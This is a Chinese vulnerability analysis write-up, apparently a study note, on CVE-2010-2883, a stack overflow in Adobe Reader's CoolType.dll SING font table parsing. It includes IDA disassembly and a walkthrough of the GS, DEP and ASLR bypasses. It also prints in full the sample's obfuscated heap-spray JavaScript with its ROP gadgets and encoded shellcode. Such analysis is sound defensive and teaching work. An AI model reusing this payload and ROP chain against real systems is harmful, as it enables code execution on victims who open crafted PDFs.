第1章-栈溢出-第一篇-CVE-2010-2883-Adobe-ReaderTTF字体SING表栈溢出漏洞

漏洞描述

CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户打开特制的恶意PDF文件可造成任意代码执行。

漏洞分析

书上说,CoolType库的”SING”字符串处出的错误,直接用ida打开,搜索字符串到此处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
.text:0803DCF9 ; =============== S U B R O U T I N E =======================================
.text:0803DCF9
.text:0803DCF9 ; Attributes: bp-based frame fpd=108h
.text:0803DCF9
.text:0803DCF9 sub_803DCF9 proc near ; CODE XREF: sub_803A3B2+55p
.text:0803DCF9 ; sub_803DFF4+28p ...
.text:0803DCF9
.text:0803DCF9 var_160 = byte ptr -160h
.text:0803DCF9 var_140 = dword ptr -140h
.text:0803DCF9 var_138 = dword ptr -138h
.text:0803DCF9 var_134 = dword ptr -134h
.text:0803DCF9 var_130 = dword ptr -130h
.text:0803DCF9 var_12C = dword ptr -12Ch
.text:0803DCF9 var_128 = dword ptr -128h
.text:0803DCF9 var_124 = dword ptr -124h
.text:0803DCF9 var_120 = dword ptr -120h
.text:0803DCF9 var_119 = byte ptr -119h
.text:0803DCF9 var_114 = dword ptr -114h
.text:0803DCF9 var_10C = dword ptr -10Ch
.text:0803DCF9 var_108 = byte ptr -108h
.text:0803DCF9 var_4 = dword ptr -4
.text:0803DCF9 arg_0 = dword ptr 8
.text:0803DCF9 arg_4 = dword ptr 0Ch
.text:0803DCF9 arg_8 = dword ptr 10h
.text:0803DCF9 arg_C = dword ptr 14h
.text:0803DCF9
.text:0803DCF9 push ebp ;本函数栈,0h处
.text:0803DCFA sub esp, 104h ;esp = -104h
.text:0803DD00 lea ebp, [esp-4] ;ebp = -108h
.text:0803DD04 mov eax, ___security_cookie
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+108h+var_4], eax ;[-4h] = security-cookie
.text:0803DD11 push 4Ch ;[-108h] = 4ch
.text:0803DD13 mov eax, offset sub_8184A54 ;eax = 0x8184a54
.text:0803DD18 call __EH_prolog3_catch ;
.text:0803DD1D mov eax, [ebp+108h+arg_C] ;eax = 参数4
.text:0803DD23 mov edi, [ebp+108h+arg_0] ;edi = 参数1
.text:0803DD29 mov ebx, [ebp+108h+arg_4] ;ebx = 参数2
.text:0803DD2F mov [ebp+108h+var_130], edi ;[-130h] = 参数1
.text:0803DD32 mov [ebp+108h+var_138], eax ;[-138h] = 参数4
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi ;esi = 0
.text:0803DD3C cmp dword ptr [edi+8], 3 ;[edi+8] = 3
.text:0803DD40 mov [ebp+108h+var_10C], esi ;[-4h]=0
.text:0803DD43 jz loc_803DF00 ;不跳转
.text:0803DD49 mov [ebp+108h+var_124], esi ;[-124h] = 0
.text:0803DD4C mov [ebp+108h+var_120], esi ;[-120h] = 0
.text:0803DD4F cmp dword ptr [edi+0Ch], 1 ;
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1 ;[-10c] = (byte)1
.text:0803DD57 jnz loc_803DEA9 ;不跳转
.text:0803DD5D push offset aName ; "name" ;[-10ch] = "name"
.text:0803DD62 push edi ; int ;[-110h] = edi
.text:0803DD63 lea ecx, [ebp+108h+var_124] ;ecx = -124h
.text:0803DD66 mov [ebp+108h+var_119], 0 ;[-119h] = 0
.text:0803DD6A call sub_80217D7 ;fun(edi,"name",,)
.text:0803DD6F cmp [ebp+108h+var_124], esi ;[-124h] ?=0
.text:0803DD72 jnz short loc_803DDDD ;不跳转
.text:0803DD74 push offset aSing ; "SING" ;[-114h] = "SING"
.text:0803DD79 push edi ; int ;[-110h] = edi
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ;ecx = -12ch
.text:0803DD7D call sub_8021B06
.text:0803DD82 mov eax, [ebp+108h+var_12C] ;eax = [-12ch]
.text:0803DD85 cmp eax, esi ;eax ?= 0
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2 ;[-10ch] = (byte)2
.text:0803DD8B jz short loc_803DDC4 ;不跳转
.text:0803DD8D mov ecx, [eax]
.text:0803DD8F and ecx, 0FFFFh ;相与为0
.text:0803DD95 jz short loc_803DD9F ;跳转
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F add eax, 10h ;eax += 10
.text:0803DDA2 push eax ; char *
.text:0803DDA3 lea eax, [ebp+108h+var_108]
.text:0803DDA6 push eax ; char *
.text:0803DDA7 mov [ebp+108h+var_108], 0 ;[-108h] = '\0'
.text:0803DDAB call strcat ;strcat(*-108,eax);

直接在ida里面能看到更清晰的跳转关系,发现要执行到strcat函数处必须按照特定跳转方式,但是阅读跳转发现它总是由传入参数控制,和原字符串无明显联系,在下文的”SING”出现后,可以猜测:

1
2
3
4
.text:0803DD74                 push    offset aSing    ; "SING"             ;参数1 = "SING"
.text:0803DD79 push edi ; int ;参数2 = 指向库的指针
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ;
.text:0803DD7D call sub_8021B06 ;eax = "SING"表的地址

接下来的后续过程只有一个判断,而此判断是[eax]?=0,明显地,它并没有判断长度(即使第一位数据代表长度也可以伪造),后续再无判断,可以猜测此处存在栈溢出。

样本分析

提取字体

使用PDFStreamDumper: load PDF->search for->ttf fonts

查看结构

1
2
3
4
5
6
typedef struct_SING{
char tag[4];
ULONG checkSum;
ULONG offset;
ULONG length;
}

读到的结构如下:

即SING表的偏移为”0x0000011c”(大端序),又根据SING表的数据结构,相对偏移为10h处为uniqueName:

12Ch处开始为uniqueName字符串,可以看到,uniqueName长度远超了缓冲区的108h字节

安全检查

利用前当然要看看有哪些防御措施(通过查看PE头获取),能不绕就不绕

  1. GS:见上图,是有栈溢出检查的
  2. DEP:标配吧
  3. ASLR:查看PE头,发现是支持的

还要看看注意事项:

  1. 坏字符:’\0’
  2. strcat后还有很多指令,那些指令可能会用到被覆盖的栈的内容,若将内容当成指针就可能出现访问异常

    绕过方法

  3. GS:覆盖SEH,又要绕它。这里先观察注意事项2看看可不可以直接在后续指令里面劫持EIP
  4. DEP:ROP技术,将shellcode放入一片可写可执行区域
  5. ASLR:使用Heap Spray,另外利用没有ASLR的模块

    分析shellcode

  6. 在strcat之前下断点,可以看到eax指向uniqueName域
  7. 在strcat执行之后,在目标串(EBP所指)区域下内存访问断点,跟踪payload

    第一次断在字符串开始,拷贝1字节

    第二次断在字符串开始,比较1字节

    接着是循环比较,直到此处,开始4字节的读取串上的数据,直到匹配


    接下来将目标串复制8f双字到另一处内存

    接下来又是

    再继续,发现此处会用edi和eax覆盖字符串的8字节,偏移为13h

重要的内容来了,这里调用了字符串(栈)中的地址

此地址代码为(ROP1)

leave == mov esp,ebp;pop ebp
接着是ROP2

跟入ROP2,熟悉的气息扑面而来,堆喷射嘛,不过要小心,他这个gadget可能会让人感到迷惑,由于对齐原因:


注意到这里有两个地址0x4a80cb38和0x4a82a714,他们在icucnv36.dll模块中,在各个版本中位置都没有变化,增加有稳定性与通用性。
这一部分,算是完全控制了栈了,也绕过了ASLR(堆喷射)
3. JavaScript
现在栈顶指向了0x0c0c0c0c,它是由PDF中内嵌的js代码申请的

1
2
3
4
5
6
7
8
9
10
11
12
var PVtXNSbsBDH = unescape;
var EolKWFK = PVtXNSbsBDH( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ucfd9%u8dbf%uc68a%ud9b0%u2474%u58f4%uc929%u49b1%ue883%u31fc%u1578%u7803%u6f15%u3a7f%ue658%uc380%u9899%u2609%u8aa8%u226e%u1a99%u66e4%ud112%u92a8%u97a1%u9464%u1d02%u9b53%u9093%u775b%ub357%u8a27%u1384%u4519%u52d9%ub85e%u0612%ub637%ub681%u8a3c%ub719%u8092%ucf22%u5797%u65d6%u8799%uf247%u3fd1%u5ce3%u3ec2%ubf20%u083e%u0b4d%u8bb4%u4287%uba35%u08e7%u7208%u51ea%ub54c%u2415%uc5a6%u3ea8%ub77d%ucb76%u1f60%u6bfc%ua141%uedd1%uad02%u7a9e%ub24c%uaf21%ucee6%u4eaa%u4729%u74e8%u03ed%u15aa%ue9b4%u2a1d%u56a6%u8ec1%u75ac%ua816%u11ee%u86db%ue210%u9173%ud063%u09dc%u58ec%u9794%u9feb%u6f8f%u5e63%u8f30%ua5ad%udf64%u0cc5%ub405%ub015%u1ad0%u1e46%uda8b%ude36%ub27b%ud15c%ua2a4%u3b5e%u48cd%uaca4%u8cf8%u23a4%u8e95%u2aa8%u0739%u264e%u41d1%udfd8%uc848%u7e92%uc794%u41de%ueb1e%u0f1f%u86d7%uf833%udd17%uaf6e%uc828%u5005%uf6bd%u078f%uf429%u60f6%u07f6%ufadd%u9d3f%u949e%u713f%u651f%u1b16%u0d1f%u7fce%u284c%uaa11%ue1e0%u5484%u5551%u3c0e%u805f%ue378%ue7a0%ud878%uce76%u28fe%u22fd%u41c3' );
var JugRVXrvaQFK = PVtXNSbsBDH( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (JugRVXrvaQFK.length + 20 + 8 < 65536) JugRVXrvaQFK+=JugRVXrvaQFK;
dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj = JugRVXrvaQFK.substring(0, (0x0c0c-0x24)/2);
dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += EolKWFK;
dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += JugRVXrvaQFK;
jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD = dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj.substring(0, 65536/2);
while(jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.length < 0x80000) jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD += jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD;
MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO = jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.substring(0, 0x80000 - (0x1020-0x08) / 2);
var rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb = new Array();
for (rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail=0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail<0x1f0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail++) rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb[rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail]=MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO+"s";

于是可以通过rop绕dep了
4. 跟入js的shellcode




即[4a8a0000h] = eax (0x0038E174)



调用CreateFileA函数,创建一个名为iso88591的隐藏缓存型文件





设置参数FileHandle,它是上一个函数的返回值,即在eax里面,这里先将其放在edi再写入栈。




即调用CreateFileMappingA函数,创建文件映射,属性为可读可写可执行





设置参数Handle,同上



调用MapViewOfFile函数,映射到本进程的地址空间内


将返回值Address(03be0000h,注意程序重启过,后面的值会变化成08e30000h)写入0x4a8a0004处




设置第一个参数:目标地址





计算源地址




设置第二个参数:源地址



复制代码,执行shellcode

总结

漏洞是由于未对脏数据作过滤引起的,尽管是一个栈溢出,但此函数存在GS保护,幸运的是函数的后部使用到了栈中的数据作为指令地址,顺利的让恶意代码取得控制权,但是此程序存在DEP不能直接在堆栈上布置shellcode于是采用ROP技术绕过,但是此模块还存在ASLR,故又使用Heap Spray技术伪造了一个地址固定的堆,有利用固定的两个地址作为零件将ESP引向伪造的栈,后续就是利用ROP创建可读可写可执行的内存再将shellcode复制进此区域执行!秒啊,妙不可言啊!!

漏洞修复

当然是使用strncat代替咯